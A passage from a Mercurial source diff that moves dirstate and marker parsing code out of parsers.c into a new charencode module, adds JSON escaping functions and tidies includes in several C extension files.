-							   nlen - 40);
-			if (!flags)
-				goto bail;
-
-			if (PyDict_SetItem(fdict, file, flags) == -1)
-				goto bail;
-		}
-
-		if (PyDict_SetItem(mfdict, file, node) == -1)
-			goto bail;
-
-		start = newline + 1;
-
-		Py_XDECREF(flags);
-		Py_XDECREF(node);
-		Py_XDECREF(file);
-		continue;
-	bail:
-		Py_XDECREF(flags);
-		Py_XDECREF(node);
-		Py_XDECREF(file);
-		goto quit;
-	}
-
-	Py_INCREF(Py_None);
-	return Py_None;
-quit:
-	return NULL;
-}
-
-static inline dirstateTupleObject *make_dirstate_tuple(char state, int mode,
-						       int size, int mtime)
-{
-	dirstateTupleObject *t = PyObject_New(dirstateTupleObject,
-					      &dirstateTupleType);
-	if (!t)
-		return NULL;
-	t->state = state;
-	t->mode = mode;
-	t->size = size;
-	t->mtime = mtime;
-	return t;
-}
-
-static PyObject *dirstate_tuple_new(PyTypeObject *subtype, PyObject *args,
-				    PyObject *kwds)
-{
-	/* We do all the initialization here and not a tp_init function because
-	 * dirstate_tuple is immutable. */
-	dirstateTupleObject *t;
-	char state;
-	int size, mode, mtime;
-	if (!PyArg_ParseTuple(args, "ciii", &state, &mode, &size, &mtime))
-		return NULL;
-
-	t = (dirstateTupleObject *)subtype->tp_alloc(subtype, 1);
-	if (!t)
-		return NULL;
-	t->state = state;
-	t->mode = mode;
-	t->size = size;
-	t->mtime = mtime;
-
-	return (PyObject *)t;
-}
-
-static void dirstate_tuple_dealloc(PyObject *o)
-{
-	PyObject_Del(o);
-}
-
-static Py_ssize_t dirstate_tuple_length(PyObject *o)
-{
-	return 4;
-}
-
-static PyObject *dirstate_tuple_item(PyObject *o, Py_ssize_t i)
-{
-	dirstateTupleObject *t = (dirstateTupleObject *)o;
-	switch (i) {
-	case 0:
-		return PyBytes_FromStringAndSize(&t->state, 1);
-	case 1:
-		return PyInt_FromLong(t->mode);
-	case 2:
-		return PyInt_FromLong(t->size);
-	case 3:
-		return PyInt_FromLong(t->mtime);
-	default:
-		PyErr_SetString(PyExc_IndexError, "index out of range");
-		return NULL;
-	}
-}
-
-static PySequenceMethods dirstate_tuple_sq = {
-	dirstate_tuple_length,     /* sq_length */
-	0,                         /* sq_concat */
-	0,                         /* sq_repeat */
-	dirstate_tuple_item,       /* sq_item */
-	0,                         /* sq_ass_item */
-	0,                         /* sq_contains */
-	0,                         /* sq_inplace_concat */
-	0                          /* sq_inplace_repeat */
-};
+	Py_ssize_t i, esclen = 0;
 
-PyTypeObject dirstateTupleType = {
-	PyVarObject_HEAD_INIT(NULL, 0)
-	"dirstate_tuple",          /* tp_name */
-	sizeof(dirstateTupleObject),/* tp_basicsize */
-	0,                         /* tp_itemsize */
-	(destructor)dirstate_tuple_dealloc, /* tp_dealloc */
-	0,                         /* tp_print */
-	0,                         /* tp_getattr */
-	0,                         /* tp_setattr */
-	0,                         /* tp_compare */
-	0,                         /* tp_repr */
-	0,                         /* tp_as_number */
-	&dirstate_tuple_sq,        /* tp_as_sequence */
-	0,                         /* tp_as_mapping */
-	0,                         /* tp_hash  */
-	0,                         /* tp_call */
-	0,                         /* tp_str */
-	0,                         /* tp_getattro */
-	0,                         /* tp_setattro */
-	0,                         /* tp_as_buffer */
-	Py_TPFLAGS_DEFAULT,        /* tp_flags */
-	"dirstate tuple",          /* tp_doc */
-	0,                         /* tp_traverse */
-	0,                         /* tp_clear */
-	0,                         /* tp_richcompare */
-	0,                         /* tp_weaklistoffset */
-	0,                         /* tp_iter */
-	0,                         /* tp_iternext */
-	0,                         /* tp_methods */
-	0,                         /* tp_members */
-	0,                         /* tp_getset */
-	0,                         /* tp_base */
-	0,                         /* tp_dict */
-	0,                         /* tp_descr_get */
-	0,                         /* tp_descr_set */
-	0,                         /* tp_dictoffset */
-	0,                         /* tp_init */
-	0,                         /* tp_alloc */
-	dirstate_tuple_new,        /* tp_new */
-};
-
-static PyObject *parse_dirstate(PyObject *self, PyObject *args)
-{
-	PyObject *dmap, *cmap, *parents = NULL, *ret = NULL;
-	PyObject *fname = NULL, *cname = NULL, *entry = NULL;
-	char state, *cur, *str, *cpos;
-	int mode, size, mtime;
-	unsigned int flen, len, pos = 40;
-	int readlen;
-
-	if (!PyArg_ParseTuple(args, "O!O!s#:parse_dirstate",
-			      &PyDict_Type, &dmap,
-			      &PyDict_Type, &cmap,
-			      &str, &readlen))
-		goto quit;
-
-	len = readlen;
-
-	/* read parents */
-	if (len < 40) {
-		PyErr_SetString(
-			PyExc_ValueError, "too little data for parents");
-		goto quit;
-	}
-
-	parents = Py_BuildValue("s#s#", str, 20, str + 20, 20);
-	if (!parents)
-		goto quit;
-
-	/* read filenames */
-	while (pos >= 40 && pos < len) {
-		if (pos + 17 > len) {
-			PyErr_SetString(PyExc_ValueError,
-					"overflow in dirstate");
-			goto quit;
-		}
-		cur = str + pos;
-		/* unpack header */
-		state = *cur;
-		mode = getbe32(cur + 1);
-		size = getbe32(cur + 5);
-		mtime = getbe32(cur + 9);
-		flen = getbe32(cur + 13);
-		pos += 17;
-		cur += 17;
-		if (flen > len - pos) {
-			PyErr_SetString(PyExc_ValueError, "overflow in dirstate");
-			goto quit;
-		}
-
-		entry = (PyObject *)make_dirstate_tuple(state, mode, size,
-							mtime);
-		cpos = memchr(cur, 0, flen);
-		if (cpos) {
-			fname = PyBytes_FromStringAndSize(cur, cpos - cur);
-			cname = PyBytes_FromStringAndSize(cpos + 1,
-							   flen - (cpos - cur) - 1);
-			if (!fname || !cname ||
-			    PyDict_SetItem(cmap, fname, cname) == -1 ||
-			    PyDict_SetItem(dmap, fname, entry) == -1)
-				goto quit;
-			Py_DECREF(cname);
-		} else {
-			fname = PyBytes_FromStringAndSize(cur, flen);
-			if (!fname ||
-			    PyDict_SetItem(dmap, fname, entry) == -1)
-				goto quit;
-		}
-		Py_DECREF(fname);
-		Py_DECREF(entry);
-		fname = cname = entry = NULL;
-		pos += flen;
-	}
-
-	ret = parents;
-	Py_INCREF(ret);
-quit:
-	Py_XDECREF(fname);
-	Py_XDECREF(cname);
-	Py_XDECREF(entry);
-	Py_XDECREF(parents);
-	return ret;
-}
-
-/*
- * Build a set of non-normal and other parent entries from the dirstate dmap
-*/
-static PyObject *nonnormalotherparententries(PyObject *self, PyObject *args) {
-	PyObject *dmap, *fname, *v;
-	PyObject *nonnset = NULL, *otherpset = NULL, *result = NULL;
-	Py_ssize_t pos;
-
-	if (!PyArg_ParseTuple(args, "O!:nonnormalentries",
-			      &PyDict_Type, &dmap))
-		goto bail;
-
-	nonnset = PySet_New(NULL);
-	if (nonnset == NULL)
-		goto bail;
-
-	otherpset = PySet_New(NULL);
-	if (otherpset == NULL)
-		goto bail;
-
-	pos = 0;
-	while (PyDict_Next(dmap, &pos, &fname, &v)) {
-		dirstateTupleObject *t;
-		if (!dirstate_tuple_check(v)) {
-			PyErr_SetString(PyExc_TypeError,
-					"expected a dirstate tuple");
-			goto bail;
-		}
-		t = (dirstateTupleObject *)v;
-
-		if (t->state == 'n' && t->size == -2) {
-			if (PySet_Add(otherpset, fname) == -1) {
-				goto bail;
+	if (paranoid) {
+		/* don't want to process multi-byte escapes in C */
+		for (i = 0; i < len; i++) {
+			char c = buf[i];
+			if (c & 0x80) {
+				PyErr_SetString(PyExc_ValueError,
+						"cannot process non-ascii str");
+				return -1;
+			}
+			esclen += jsonparanoidlentable[(unsigned char)c];
+			if (esclen < 0) {
+				PyErr_SetString(PyExc_MemoryError,
+						"overflow in jsonescapelen");
+				return -1;
 			}
 		}
-
-		if (t->state == 'n' && t->mtime != -1)
-			continue;
-		if (PySet_Add(nonnset, fname) == -1)
-			goto bail;
-	}
-
-	result = Py_BuildValue("(OO)", nonnset, otherpset);
-	if (result == NULL)
-		goto bail;
-	Py_DECREF(nonnset);
-	Py_DECREF(otherpset);
-	return result;
-bail:
-	Py_XDECREF(nonnset);
-	Py_XDECREF(otherpset);
-	Py_XDECREF(result);
-	return NULL;
-}
-
-/*
- * Efficiently pack a dirstate object into its on-disk format.
- */
-static PyObject *pack_dirstate(PyObject *self, PyObject *args)
-{
-	PyObject *packobj = NULL;
-	PyObject *map, *copymap, *pl, *mtime_unset = NULL;
-	Py_ssize_t nbytes, pos, l;
-	PyObject *k, *v = NULL, *pn;
-	char *p, *s;
-	int now;
-
-	if (!PyArg_ParseTuple(args, "O!O!Oi:pack_dirstate",
-			      &PyDict_Type, &map, &PyDict_Type, &copymap,
-			      &pl, &now))
-		return NULL;
-
-	if (!PySequence_Check(pl) || PySequence_Size(pl) != 2) {
-		PyErr_SetString(PyExc_TypeError, "expected 2-element sequence");
-		return NULL;
-	}
-
-	/* Figure out how much we need to allocate. */
-	for (nbytes = 40, pos = 0; PyDict_Next(map, &pos, &k, &v);) {
-		PyObject *c;
-		if (!PyBytes_Check(k)) {
-			PyErr_SetString(PyExc_TypeError, "expected string key");
-			goto bail;
-		}
-		nbytes += PyBytes_GET_SIZE(k) + 17;
-		c = PyDict_GetItem(copymap, k);
-		if (c) {
-			if (!PyBytes_Check(c)) {
-				PyErr_SetString(PyExc_TypeError,
-						"expected string key");
-				goto bail;
+	} else {
+		for (i = 0; i < len; i++) {
+			char c = buf[i];
+			esclen += jsonlentable[(unsigned char)c];
+			if (esclen < 0) {
+				PyErr_SetString(PyExc_MemoryError,
+						"overflow in jsonescapelen");
+				return -1;
 			}
-			nbytes += PyBytes_GET_SIZE(c) + 1;
 		}
 	}
 
-	packobj = PyBytes_FromStringAndSize(NULL, nbytes);
-	if (packobj == NULL)
-		goto bail;
-
-	p = PyBytes_AS_STRING(packobj);
-
-	pn = PySequence_ITEM(pl, 0);
-	if (PyBytes_AsStringAndSize(pn, &s, &l) == -1 || l != 20) {
-		PyErr_SetString(PyExc_TypeError, "expected a 20-byte hash");
-		goto bail;
-	}
-	memcpy(p, s, l);
-	p += 20;
-	pn = PySequence_ITEM(pl, 1);
-	if (PyBytes_AsStringAndSize(pn, &s, &l) == -1 || l != 20) {
-		PyErr_SetString(PyExc_TypeError, "expected a 20-byte hash");
-		goto bail;
-	}
-	memcpy(p, s, l);
-	p += 20;
-
-	for (pos = 0; PyDict_Next(map, &pos, &k, &v); ) {
-		dirstateTupleObject *tuple;
-		char state;
-		int mode, size, mtime;
-		Py_ssize_t len, l;
-		PyObject *o;
-		char *t;
-
-		if (!dirstate_tuple_check(v)) {
-			PyErr_SetString(PyExc_TypeError,
-					"expected a dirstate tuple");
-			goto bail;
-		}
-		tuple = (dirstateTupleObject *)v;
+	return esclen;
+}
 
-		state = tuple->state;
-		mode = tuple->mode;
-		size = tuple->size;
-		mtime = tuple->mtime;
-		if (state == 'n' && mtime == now) {
-			/* See pure/parsers.py:pack_dirstate for why we do
-			 * this. */
-			mtime = -1;
-			mtime_unset = (PyObject *)make_dirstate_tuple(
-				state, mode, size, mtime);
-			if (!mtime_unset)
-				goto bail;
-			if (PyDict_SetItem(map, k, mtime_unset) == -1)
-				goto bail;
-			Py_DECREF(mtime_unset);
-			mtime_unset = NULL;
-		}
-		*p++ = state;
-		putbe32((uint32_t)mode, p);
-		putbe32((uint32_t)size, p + 4);
-		putbe32((uint32_t)mtime, p + 8);
-		t = p + 12;
-		p += 16;
-		len = PyBytes_GET_SIZE(k);
-		memcpy(p, PyBytes_AS_STRING(k), len);
-		p += len;
-		o = PyDict_GetItem(copymap, k);
-		if (o) {
-			*p++ = '\0';
-			l = PyBytes_GET_SIZE(o);
-			memcpy(p, PyBytes_AS_STRING(o), l);
-			p += l;
-			len += l + 1;
-		}
-		putbe32((uint32_t)len, t);
+/* map '\<c>' escape character */
+static char jsonescapechar2(char c)
+{
+	switch (c) {
+	case '\b':
+		return 'b';
+	case '\t':
+		return 't';
+	case '\n':
+		return 'n';
+	case '\f':
+		return 'f';
+	case '\r':
+		return 'r';
+	case '"':
+		return '"';
+	case '\\':
+		return '\\';
 	}
-
-	pos = p - PyBytes_AS_STRING(packobj);
-	if (pos != nbytes) {
-		PyErr_Format(PyExc_SystemError, "bad dirstate size: %ld != %ld",
-                             (long)pos, (long)nbytes);
-		goto bail;
-	}
-
-	return packobj;
-bail:
-	Py_XDECREF(mtime_unset);
-	Py_XDECREF(packobj);
-	Py_XDECREF(v);
-	return NULL;
+	return '\0';  /* should not happen */
 }
 
-#define BUMPED_FIX 1
-#define USING_SHA_256 2
-#define FM1_HEADER_SIZE (4 + 8 + 2 + 2 + 1 + 1 + 1)
-
-static PyObject *readshas(
-	const char *source, unsigned char num, Py_ssize_t hashwidth)
+/* convert 'origbuf' to JSON-escaped form 'escbuf'; 'origbuf' should only
+   include characters mappable by json(paranoid)lentable */
+static void encodejsonescape(char *escbuf, Py_ssize_t esclen,
+			     const char *origbuf, Py_ssize_t origlen,
+			     bool paranoid)
 {
-	int i;
-	PyObject *list = PyTuple_New(num);
-	if (list == NULL) {
-		return NULL;
+	const uint8_t *lentable =
+		(paranoid) ? jsonparanoidlentable : jsonlentable;
+	Py_ssize_t i, j;
+
+	for (i = 0, j = 0; i < origlen; i++) {
+		char c = origbuf[i];
+		uint8_t l = lentable[(unsigned char)c];
+		assert(j + l <= esclen);
+		switch (l) {
+		case 1:
+			escbuf[j] = c;
+			break;
+		case 2:
+			escbuf[j] = '\\';
+			escbuf[j + 1] = jsonescapechar2(c);
+			break;
+		case 6:
+			memcpy(escbuf + j, "\\u00", 4);
+			escbuf[j + 4] = hexchartable[(unsigned char)c >> 4];
+			escbuf[j + 5] = hexchartable[(unsigned char)c & 0xf];
+			break;
+		}
+		j += l;
 	}
-	for (i = 0; i < num; i++) {
-		PyObject *hash = PyBytes_FromStringAndSize(source, hashwidth);
-		if (hash == NULL) {
-			Py_DECREF(list);
-			return NULL;
-		}
-		PyTuple_SET_ITEM(list, i, hash);
-		source += hashwidth;
-	}
-	return list;
 }
 
-static PyObject *fm1readmarker(const char *databegin, const char *dataend,
-			       uint32_t *msize)
+PyObject *jsonescapeu8fast(PyObject *self, PyObject *args)
 {
-	const char *data = databegin;
-	const char *meta;
-
-	double mtime;
-	int16_t tz;
-	uint16_t flags;
-	unsigned char nsuccs, nparents, nmetadata;
-	Py_ssize_t hashwidth = 20;
-
-	PyObject *prec = NULL, *parents = NULL, *succs = NULL;
-	PyObject *metadata = NULL, *ret = NULL;
-	int i;
-
-	if (data + FM1_HEADER_SIZE > dataend) {
-		goto overflow;
-	}
-
-	*msize = getbe32(data);
-	data += 4;
-	mtime = getbefloat64(data);
-	data += 8;
-	tz = getbeint16(data);
-	data += 2;
-	flags = getbeuint16(data);
-	data += 2;
-
-	if (flags & USING_SHA_256) {
-		hashwidth = 32;
-	}
+	PyObject *origstr, *escstr;
+	const char *origbuf;
+	Py_ssize_t origlen, esclen;
+	int paranoid;
+	if (!PyArg_ParseTuple(args, "O!i:jsonescapeu8fast",
+			      &PyBytes_Type, &origstr, &paranoid))
+		return NULL;
 
-	nsuccs = (unsigned char)(*data++);
-	nparents = (unsigned char)(*data++);
-	nmetadata = (unsigned char)(*data++);
-
-	if (databegin + *msize > dataend) {
-		goto overflow;
-	}
-	dataend = databegin + *msize;  /* narrow down to marker size */
-
-	if (data + hashwidth > dataend) {
-		goto overflow;
-	}
-	prec = PyBytes_FromStringAndSize(data, hashwidth);
-	data += hashwidth;
-	if (prec == NULL) {
-		goto bail;
-	}
-
-	if (data + nsuccs * hashwidth > dataend) {
-		goto overflow;
-	}
-	succs = readshas(data, nsuccs, hashwidth);
-	if (succs == NULL) {
-		goto bail;
-	}
-	data += nsuccs * hashwidth;
-
-	if (nparents == 1 || nparents == 2) {
-		if (data + nparents * hashwidth > dataend) {
-			goto overflow;
-		}
-		parents = readshas(data, nparents, hashwidth);
-		if (parents == NULL) {
-			goto bail;
-		}
-		data += nparents * hashwidth;
-	} else {
-		parents = Py_None;
-		Py_INCREF(parents);
+	origbuf = PyBytes_AS_STRING(origstr);
+	origlen = PyBytes_GET_SIZE(origstr);
+	esclen = jsonescapelen(origbuf, origlen, paranoid);
+	if (esclen < 0)
+		return NULL;  /* unsupported char found or overflow */
+	if (origlen == esclen) {
+		Py_INCREF(origstr);
+		return origstr;
 	}
 
-	if (data + 2 * nmetadata > dataend) {
-		goto overflow;
-	}
-	meta = data + (2 * nmetadata);
-	metadata = PyTuple_New(nmetadata);
-	if (metadata == NULL) {
-		goto bail;
-	}
-	for (i = 0; i < nmetadata; i++) {
-		PyObject *tmp, *left = NULL, *right = NULL;
-		Py_ssize_t leftsize = (unsigned char)(*data++);
-		Py_ssize_t rightsize = (unsigned char)(*data++);
-		if (meta + leftsize + rightsize > dataend) {
-			goto overflow;
-		}
-		left = PyBytes_FromStringAndSize(meta, leftsize);
-		meta += leftsize;
-		right = PyBytes_FromStringAndSize(meta, rightsize);
-		meta += rightsize;
-		tmp = PyTuple_New(2);
-		if (!left || !right || !tmp) {
-			Py_XDECREF(left);
-			Py_XDECREF(right);
-			Py_XDECREF(tmp);
-			goto bail;
-		}
-		PyTuple_SET_ITEM(tmp, 0, left);
-		PyTuple_SET_ITEM(tmp, 1, right);
-		PyTuple_SET_ITEM(metadata, i, tmp);
-	}
-	ret = Py_BuildValue("(OOHO(di)O)", prec, succs, flags,
-			    metadata, mtime, (int)tz * 60, parents);
-	goto bail;  /* return successfully */
-
-overflow:
-	PyErr_SetString(PyExc_ValueError, "overflow in obsstore");
-bail:
-	Py_XDECREF(prec);
-	Py_XDECREF(succs);
-	Py_XDECREF(metadata);
-	Py_XDECREF(parents);
-	return ret;
-}
-
-
-static PyObject *fm1readmarkers(PyObject *self, PyObject *args) {
-	const char *data, *dataend;
-	int datalen;
-	Py_ssize_t offset, stop;
-	PyObject *markers = NULL;
-
-	if (!PyArg_ParseTuple(args, "s#nn", &data, &datalen, &offset, &stop)) {
+	escstr = PyBytes_FromStringAndSize(NULL, esclen);
+	if (!escstr)
 		return NULL;
-	}
-	dataend = data + datalen;
-	data += offset;
-	markers = PyList_New(0);
-	if (!markers) {
-		return NULL;
-	}
-	while (offset < stop) {
-		uint32_t msize;
-		int error;
-		PyObject *record = fm1readmarker(data, dataend, &msize);
-		if (!record) {
-			goto bail;
-		}
-		error = PyList_Append(markers, record);
-		Py_DECREF(record);
-		if (error) {
-			goto bail;
-		}
-		data += msize;
-		offset += msize;
-	}
-	return markers;
-bail:
-	Py_DECREF(markers);
-	return NULL;
-}
-
-static char parsers_doc[] = "Efficient content parsing.";
-
-PyObject *encodedir(PyObject *self, PyObject *args);
-PyObject *pathencode(PyObject *self, PyObject *args);
-PyObject *lowerencode(PyObject *self, PyObject *args);
-PyObject *parse_index2(PyObject *self, PyObject *args);
+	encodejsonescape(PyBytes_AS_STRING(escstr), esclen, origbuf, origlen,
+			 paranoid);
 
-static PyMethodDef methods[] = {
-	{"pack_dirstate", pack_dirstate, METH_VARARGS, "pack a dirstate\n"},
-	{"nonnormalotherparententries", nonnormalotherparententries, METH_VARARGS,
-	"create a set containing non-normal and other parent entries of given "
-	"dirstate\n"},
-	{"parse_manifest", parse_manifest, METH_VARARGS, "parse a manifest\n"},
-	{"parse_dirstate", parse_dirstate, METH_VARARGS, "parse a dirstate\n"},
-	{"parse_index2", parse_index2, METH_VARARGS, "parse a revlog index\n"},
-	{"asciilower", asciilower, METH_VARARGS, "lowercase an ASCII string\n"},
-	{"asciiupper", asciiupper, METH_VARARGS, "uppercase an ASCII string\n"},
-	{"dict_new_presized", dict_new_presized, METH_VARARGS,
-	 "construct a dict with an expected size\n"},
-	{"make_file_foldmap", make_file_foldmap, METH_VARARGS,
-	 "make file foldmap\n"},
-	{"encodedir", encodedir, METH_VARARGS, "encodedir a path\n"},
-	{"pathencode", pathencode, METH_VARARGS, "fncache-encode a path\n"},
-	{"lowerencode", lowerencode, METH_VARARGS, "lower-encode a path\n"},
-	{"fm1readmarkers", fm1readmarkers, METH_VARARGS,
-			"parse v1 obsolete markers\n"},
-	{NULL, NULL}
-};
-
-void dirs_module_init(PyObject *mod);
-void manifest_module_init(PyObject *mod);
-void revlog_module_init(PyObject *mod);
-
-static const int version = 1;
-
-static void module_init(PyObject *mod)
-{
-	PyModule_AddIntConstant(mod, "version", version);
-
-	/* This module constant has two purposes.  First, it lets us unit test
-	 * the ImportError raised without hard-coding any error text.  This
-	 * means we can change the text in the future without breaking tests,
-	 * even across changesets without a recompile.  Second, its presence
-	 * can be used to determine whether the version-checking logic is
-	 * present, which also helps in testing across changesets without a
-	 * recompile.  Note that this means the pure-Python version of parsers
-	 * should not have this module constant. */
-	PyModule_AddStringConstant(mod, "versionerrortext", versionerrortext);
-
-	dirs_module_init(mod);
-	manifest_module_init(mod);
-	revlog_module_init(mod);
-
-	if (PyType_Ready(&dirstateTupleType) < 0)
-		return;
-	Py_INCREF(&dirstateTupleType);
-	PyModule_AddObject(mod, "dirstatetuple",
-			   (PyObject *)&dirstateTupleType);
+	return escstr;
 }
-
-static int check_python_version(void)
-{
-	PyObject *sys = PyImport_ImportModule("sys"), *ver;
-	long hexversion;
-	if (!sys)
-		return -1;
-	ver = PyObject_GetAttrString(sys, "hexversion");
-	Py_DECREF(sys);
-	if (!ver)
-		return -1;
-	hexversion = PyInt_AsLong(ver);
-	Py_DECREF(ver);
-	/* sys.hexversion is a 32-bit number by default, so the -1 case
-	 * should only occur in unusual circumstances (e.g. if sys.hexversion
-	 * is manually set to an invalid value). */
-	if ((hexversion == -1) || (hexversion >> 16 != PY_VERSION_HEX >> 16)) {
-		PyErr_Format(PyExc_ImportError, "%s: The Mercurial extension "
-			"modules were compiled with Python " PY_VERSION ", but "
-			"Mercurial is currently using Python with sys.hexversion=%ld: "
-			"Python %s\n at: %s", versionerrortext, hexversion,
-			Py_GetVersion(), Py_GetProgramFullPath());
-		return -1;
-	}
-	return 0;
-}
-
-#ifdef IS_PY3K
-static struct PyModuleDef parsers_module = {
-	PyModuleDef_HEAD_INIT,
-	"parsers",
-	parsers_doc,
-	-1,
-	methods
-};
-
-PyMODINIT_FUNC PyInit_parsers(void)
-{
-	PyObject *mod;
-
-	if (check_python_version() == -1)
-		return NULL;
-	mod = PyModule_Create(&parsers_module);
-	module_init(mod);
-	return mod;
-}
-#else
-PyMODINIT_FUNC initparsers(void)
-{
-	PyObject *mod;
-
-	if (check_python_version() == -1)
-		return;
-	mod = Py_InitModule3("parsers", methods, parsers_doc);
-	module_init(mod);
-}
-#endif
diff --git a/mercurial/cext/util.h b/mercurial/cext/charencode.h
copy from mercurial/cext/util.h
copy to mercurial/cext/charencode.h
--- a/mercurial/cext/util.h
+++ b/mercurial/cext/charencode.h
@@ -1,29 +1,15 @@
 /*
- util.h - utility functions for interfacing with the various python APIs.
+ charencode.h - miscellaneous character encoding
 
  This software may be used and distributed according to the terms of
  the GNU General Public License, incorporated herein by reference.
 */
 
-#ifndef _HG_UTIL_H_
-#define _HG_UTIL_H_
-
-#include "compat.h"
-
-#if PY_MAJOR_VERSION >= 3
-#define IS_PY3K
-#endif
+#ifndef _HG_CHARENCODE_H_
+#define _HG_CHARENCODE_H_
 
-typedef struct {
-	PyObject_HEAD
-	char state;
-	int mode;
-	int size;
-	int mtime;
-} dirstateTupleObject;
-
-extern PyTypeObject dirstateTupleType;
-#define dirstate_tuple_check(op) (Py_TYPE(op) == &dirstateTupleType)
+#include <Python.h>
+#include "compat.h"
 
 /* This should be kept in sync with normcasespecs in encoding.py. */
 enum normcase_spec {
@@ -32,15 +18,12 @@
 	NORMCASE_OTHER = 0
 };
 
-#define MIN(a, b) (((a)<(b))?(a):(b))
-/* VC9 doesn't include bool and lacks stdbool.h based on my searching */
-#if defined(_MSC_VER) || __STDC_VERSION__ < 199901L
-#define true 1
-#define false 0
-typedef unsigned char bool;
-#else
-#include <stdbool.h>
-#endif
+PyObject *unhexlify(const char *str, Py_ssize_t len);
+PyObject *isasciistr(PyObject *self, PyObject *args);
+PyObject *asciilower(PyObject *self, PyObject *args);
+PyObject *asciiupper(PyObject *self, PyObject *args);
+PyObject *make_file_foldmap(PyObject *self, PyObject *args);
+PyObject *jsonescapeu8fast(PyObject *self, PyObject *args);
 
 static const int8_t hextable[256] = {
 	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
@@ -73,4 +56,4 @@
 	return 0;
 }
 
-#endif /* _HG_UTIL_H_ */
+#endif /* _HG_CHARENCODE_H_ */
diff --git a/mercurial/cext/dirs.c b/mercurial/cext/dirs.c
--- a/mercurial/cext/dirs.c
+++ b/mercurial/cext/dirs.c
@@ -9,6 +9,7 @@
 
 #define PY_SSIZE_T_CLEAN
 #include <Python.h>
+
 #include "util.h"
 
 #ifdef IS_PY3K
diff --git a/mercurial/cext/manifest.c b/mercurial/cext/manifest.c
--- a/mercurial/cext/manifest.c
+++ b/mercurial/cext/manifest.c
@@ -9,9 +9,10 @@
 #include <Python.h>
 
 #include <assert.h>
+#include <stdlib.h>
 #include <string.h>
-#include <stdlib.h>
 
+#include "charencode.h"
 #include "util.h"
 
 #define DEFAULT_LINES 100000
@@ -38,16 +39,15 @@
 #define MANIFEST_NOT_SORTED -2
 #define MANIFEST_MALFORMED -3
 
-/* defined in parsers.c */
-PyObject *unhexlify(const char *str, int len);
-
 /* get the length of the path for a line */
-static size_t pathlen(line *l) {
+static size_t pathlen(line *l)
+{
 	return strlen(l->start);
 }
 
 /* get the node value of a single line */
-static PyObject *nodeof(line *l) {
+static PyObject *nodeof(line *l)
+{
 	char *s = l->start;
 	ssize_t llen = pathlen(l);
 	PyObject *hash = unhexlify(s + llen + 1, 40);
@@ -262,7 +262,7 @@
 #endif
 
 static PyTypeObject lazymanifestEntriesIterator = {
-	PyVarObject_HEAD_INIT(NULL, 0)
+	PyVarObject_HEAD_INIT(NULL, 0) /* header */
 	"parsers.lazymanifest.entriesiterator", /*tp_name */
 	sizeof(lmIter),                  /*tp_basicsize */
 	0,                               /*tp_itemsize */
@@ -310,7 +310,7 @@
 #endif
 
 static PyTypeObject lazymanifestKeysIterator = {
-	PyVarObject_HEAD_INIT(NULL, 0)
+	PyVarObject_HEAD_INIT(NULL, 0) /* header */
 	"parsers.lazymanifest.keysiterator", /*tp_name */
 	sizeof(lmIter),                  /*tp_basicsize */
 	0,                               /*tp_itemsize */
@@ -436,7 +436,8 @@
 
 /* Do a binary search for the insertion point for new, creating the
  * new entry if needed. */
-static int internalsetitem(lazymanifest *self, line *new) {
+static int internalsetitem(lazymanifest *self, line *new)
+{
 	int start = 0, end = self->numlines;
 	while (start < end) {
 		int pos = start + (end - start) / 2;
@@ -604,7 +605,8 @@
 static PyTypeObject lazymanifestType;
 
 /* If the manifest has changes, build the new manifest text and reindex it. */
-static int compact(lazymanifest *self) {
+static int compact(lazymanifest *self)
+{
 	int i;
 	ssize_t need = 0;
 	char *data;
@@ -888,7 +890,7 @@
 #endif
 
 static PyTypeObject lazymanifestType = {
-	PyVarObject_HEAD_INIT(NULL, 0)
+	PyVarObject_HEAD_INIT(NULL, 0) /* header */
 	"parsers.lazymanifest",                           /* tp_name */
 	sizeof(lazymanifest),                             /* tp_basicsize */
 	0,                                                /* tp_itemsize */
diff --git a/mercurial/cext/mpatch.c b/mercurial/cext/mpatch.c
--- a/mercurial/cext/mpatch.c
+++ b/mercurial/cext/mpatch.c
@@ -25,10 +25,10 @@
 #include <stdlib.h>
 #include <string.h>
 
-#include "util.h"
 #include "bitmanipulation.h"
 #include "compat.h"
 #include "mpatch.h"
+#include "util.h"
 
 static char mpatch_doc[] = "Efficient binary patching.";
 static PyObject *mpatch_Error;
diff --git a/mercurial/cext/osutil.c b/mercurial/cext/osutil.c
--- a/mercurial/cext/osutil.c
+++ b/mercurial/cext/osutil.c
@@ -9,15 +9,15 @@
 
 #define _ATFILE_SOURCE
 #include <Python.h>
+#include <errno.h>
 #include <fcntl.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
-#include <errno.h>
 
 #ifdef _WIN32
+#include <io.h>
 #include <windows.h>
-#include <io.h>
 #else
 #include <dirent.h>
 #include <sys/socket.h>
@@ -121,7 +121,7 @@
 }
 
 static PyTypeObject listdir_stat_type = {
-	PyVarObject_HEAD_INIT(NULL, 0)
+	PyVarObject_HEAD_INIT(NULL, 0) /* header */
 	"osutil.stat",             /*tp_name*/
 	sizeof(struct listdir_stat), /*tp_basicsize*/
 	0,                         /*tp_itemsize*/
diff --git a/mercurial/cext/parsers.c b/mercurial/cext/parsers.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/parsers.c
@@ -12,161 +12,22 @@
 #include <stddef.h>
 #include <string.h>
 
+#include "bitmanipulation.h"
+#include "charencode.h"
 #include "util.h"
-#include "bitmanipulation.h"
 
 #ifdef IS_PY3K
 /* The mapping of Python types is meant to be temporary to get Python
  * 3 to compile. We should remove this once Python 3 support is fully
  * supported and proper types are used in the extensions themselves. */
-#define PyInt_Type PyLong_Type
 #define PyInt_Check PyLong_Check
 #define PyInt_FromLong PyLong_FromLong
 #define PyInt_FromSsize_t PyLong_FromSsize_t
-#define PyInt_AS_LONG PyLong_AS_LONG
 #define PyInt_AsLong PyLong_AsLong
 #endif
 
 static const char *const versionerrortext = "Python minor version mismatch";
 
-static const char lowertable[128] = {
-	'\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07',
-	'\x08', '\x09', '\x0a', '\x0b', '\x0c', '\x0d', '\x0e', '\x0f',
-	'\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17',
-	'\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f',
-	'\x20', '\x21', '\x22', '\x23', '\x24', '\x25', '\x26', '\x27',
-	'\x28', '\x29', '\x2a', '\x2b', '\x2c', '\x2d', '\x2e', '\x2f',
